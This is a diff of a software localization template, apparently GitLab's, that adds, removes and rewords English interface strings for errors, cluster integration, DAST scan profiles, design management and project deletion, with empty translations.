msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
